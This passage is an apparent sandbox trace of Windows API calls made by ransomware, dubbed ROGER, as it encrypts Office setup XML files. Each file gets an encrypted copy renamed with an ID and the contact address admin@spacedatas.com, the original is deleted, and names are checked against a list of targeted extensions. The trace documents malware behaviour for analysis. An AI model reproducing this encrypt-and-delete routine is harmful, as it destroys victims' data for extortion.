shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0044.833] GetLastError () returned 0x0 [0044.833] ReadFile (in: hFile=0x38c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x412b, lpOverlapped=0x0) returned 1 [0044.835] WriteFile (in: hFile=0x370, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x4130, lpOverlapped=0x0) returned 1 [0044.836] ReadFile (in: hFile=0x38c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0044.836] WriteFile (in: hFile=0x370, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.836] SetEndOfFile (hFile=0x370) returned 1 [0044.836] CloseHandle (hObject=0x370) returned 1 [0044.837] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.837] SetEndOfFile (hFile=0x38c) returned 1 [0044.837] CloseHandle (hObject=0x38c) returned 1 [0044.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0044.838] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 1 [0044.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0044.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0044.838] lstrlenW (lpString=".doc") returned 4 [0044.838] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.838] lstrlenW (lpString=".docx") returned 5 [0044.838] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.838] lstrlenW (lpString=".pdf") returned 4 [0044.838] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.838] lstrlenW (lpString=".xls") returned 4 [0044.838] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.838] lstrlenW (lpString=".xlsx") returned 5 [0044.838] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.838] lstrlenW (lpString=".ppt") returned 4 [0044.970] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0044.970] lstrlenW (lpString=".zip") returned 4 [0044.970] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.970] lstrlenW (lpString=".rar") returned 4 [0044.970] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.970] lstrlenW (lpString=".bz2") returned 4 [0044.970] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.970] lstrlenW (lpString=".7z") returned 3 [0044.970] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0044.970] lstrlenW (lpString=".dbf") returned 4 [0044.970] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0044.970] lstrlenW (lpString=".1cd") returned 4 [0044.970] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0044.971] lstrlenW (lpString=".jpg") returned 4 [0044.971] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0044.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0044.971] lstrlenW (lpString=".doc") returned 4 [0044.971] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.971] lstrlenW (lpString=".docx") returned 5 [0044.971] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.971] lstrlenW (lpString=".pdf") returned 4 [0044.971] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.971] lstrlenW (lpString=".xls") returned 4 [0044.971] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.971] lstrlenW (lpString=".xlsx") returned 5 [0044.971] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.971] lstrlenW (lpString=".ppt") returned 4 [0044.971] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0044.971] lstrlenW (lpString=".zip") returned 4 [0044.971] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.971] lstrlenW (lpString=".rar") returned 4 [0044.971] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.971] lstrlenW (lpString=".bz2") returned 4 [0044.971] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.971] lstrlenW (lpString=".7z") returned 3 [0044.971] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0044.971] lstrlenW (lpString=".dbf") returned 4 [0044.971] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0044.971] lstrlenW (lpString=".1cd") returned 4 [0044.971] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0044.972] lstrlenW (lpString=".jpg") returned 4 [0044.972] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.972] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0044.972] lstrlenW (lpString="Proof.XML") returned 9 [0044.972] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0044.972] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=1347) returned 1 [0044.972] CloseHandle (hObject=0x370) returned 1 [0044.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20 [0044.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0044.972] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0044.972] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.972] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.973] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0045.075] GetLastError () returned 0x0 [0045.075] ReadFile (in: hFile=0x370, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x543, lpOverlapped=0x0) returned 1 [0045.173] WriteFile (in: hFile=0x3d8, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x550, lpOverlapped=0x0) returned 1 [0045.173] ReadFile (in: hFile=0x370, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0045.173] WriteFile (in: hFile=0x3d8, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.174] SetEndOfFile (hFile=0x3d8) returned 1 [0045.174] CloseHandle (hObject=0x3d8) returned 1 [0045.174] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.174] SetEndOfFile (hFile=0x370) returned 1 [0045.175] CloseHandle (hObject=0x370) returned 1 [0045.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0045.175] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 1 [0045.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0045.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0045.175] lstrlenW (lpString=".doc") returned 4 [0045.175] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.175] lstrlenW (lpString=".docx") returned 5 [0045.175] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0045.175] lstrlenW (lpString=".pdf") returned 4 [0045.175] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.175] lstrlenW (lpString=".xls") returned 4 [0045.175] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.175] lstrlenW (lpString=".xlsx") returned 5 [0045.175] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0045.175] lstrlenW (lpString=".ppt") returned 4 [0045.175] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0045.175] lstrlenW (lpString=".zip") returned 4 [0045.176] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.176] lstrlenW (lpString=".rar") returned 4 [0045.176] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.176] lstrlenW (lpString=".bz2") returned 4 [0045.176] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.176] lstrlenW (lpString=".7z") returned 3 [0045.176] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0045.176] lstrlenW (lpString=".dbf") returned 4 [0045.176] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0045.176] lstrlenW (lpString=".1cd") returned 4 [0045.176] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0045.176] lstrlenW (lpString=".jpg") returned 4 [0045.176] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0045.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0045.176] lstrlenW (lpString=".doc") returned 4 [0045.176] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.176] lstrlenW (lpString=".docx") returned 5 [0045.176] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0045.176] lstrlenW (lpString=".pdf") returned 4 [0045.176] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.176] lstrlenW (lpString=".xls") returned 4 [0045.176] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.176] lstrlenW (lpString=".xlsx") returned 5 [0045.176] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0045.176] lstrlenW (lpString=".ppt") returned 4 [0045.176] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0045.176] lstrlenW (lpString=".zip") returned 4 [0045.177] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.177] lstrlenW (lpString=".rar") returned 4 [0045.177] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.177] lstrlenW (lpString=".bz2") returned 4 [0045.177] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.177] lstrlenW (lpString=".7z") returned 3 [0045.177] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0045.177] lstrlenW (lpString=".dbf") returned 4 [0045.177] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0045.177] lstrlenW (lpString=".1cd") returned 4 [0045.177] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0045.177] lstrlenW (lpString=".jpg") returned 4 [0045.177] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.177] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0045.177] lstrlenW (lpString="ProPlusrWW.XML") returned 14 [0045.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0045.585] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=16852) returned 1 [0045.585] CloseHandle (hObject=0x35c) returned 1 [0045.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 0x20 [0045.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0045.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0045.585] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.585] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0045.586] GetLastError () returned 0x0 [0045.586] ReadFile (in: hFile=0x35c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x41d4, lpOverlapped=0x0) returned 1 [0045.587] WriteFile (in: hFile=0x3a8, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0045.589] ReadFile (in: hFile=0x35c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0045.589] WriteFile (in: hFile=0x3a8, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xf0, lpOverlapped=0x0) returned 1 [0045.589] SetEndOfFile (hFile=0x3a8) returned 1 [0045.589] CloseHandle (hObject=0x3a8) returned 1 [0045.589] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.589] SetEndOfFile (hFile=0x35c) returned 1 [0045.590] CloseHandle (hObject=0x35c) returned 1 [0045.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0045.590] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 1 [0045.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0045.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0045.590] lstrlenW (lpString=".doc") returned 4 [0045.590] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.590] lstrlenW (lpString=".docx") returned 5 [0045.591] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0045.591] lstrlenW (lpString=".pdf") returned 4 [0045.591] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.591] lstrlenW (lpString=".xls") returned 4 [0045.591] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.591] lstrlenW (lpString=".xlsx") returned 5 [0045.591] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0045.591] lstrlenW (lpString=".ppt") returned 4 [0045.591] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0045.591] lstrlenW (lpString=".zip") returned 4 [0045.591] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.591] lstrlenW (lpString=".rar") returned 4 [0045.591] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.591] lstrlenW (lpString=".bz2") returned 4 [0045.591] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.591] lstrlenW (lpString=".7z") returned 3 [0045.591] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0045.591] lstrlenW (lpString=".dbf") returned 4 [0045.591] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0045.591] lstrlenW (lpString=".1cd") returned 4 [0045.591] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0045.591] lstrlenW (lpString=".jpg") returned 4 [0045.591] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0045.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0045.591] lstrlenW (lpString=".doc") returned 4 [0045.591] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.592] lstrlenW (lpString=".docx") returned 5 [0045.592] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0045.592] lstrlenW (lpString=".pdf") returned 4 [0045.592] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.592] lstrlenW (lpString=".xls") returned 4 [0045.592] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.592] lstrlenW (lpString=".xlsx") returned 5 [0045.592] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0045.592] lstrlenW (lpString=".ppt") returned 4 [0045.592] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0045.592] lstrlenW (lpString=".zip") returned 4 [0045.592] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.592] lstrlenW (lpString=".rar") returned 4 [0045.592] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.592] lstrlenW (lpString=".bz2") returned 4 [0045.592] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.592] lstrlenW (lpString=".7z") returned 3 [0045.592] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0045.592] lstrlenW (lpString=".dbf") returned 4 [0045.592] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0045.592] lstrlenW (lpString=".1cd") returned 4 [0045.592] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0045.592] lstrlenW (lpString=".jpg") returned 4 [0045.592] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.593] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0045.593] lstrlenW (lpString="VisiorWW.XML") returned 12 [0045.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0045.775] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=8723) returned 1 [0045.775] CloseHandle (hObject=0x3a8) returned 1 [0045.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20 [0045.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup 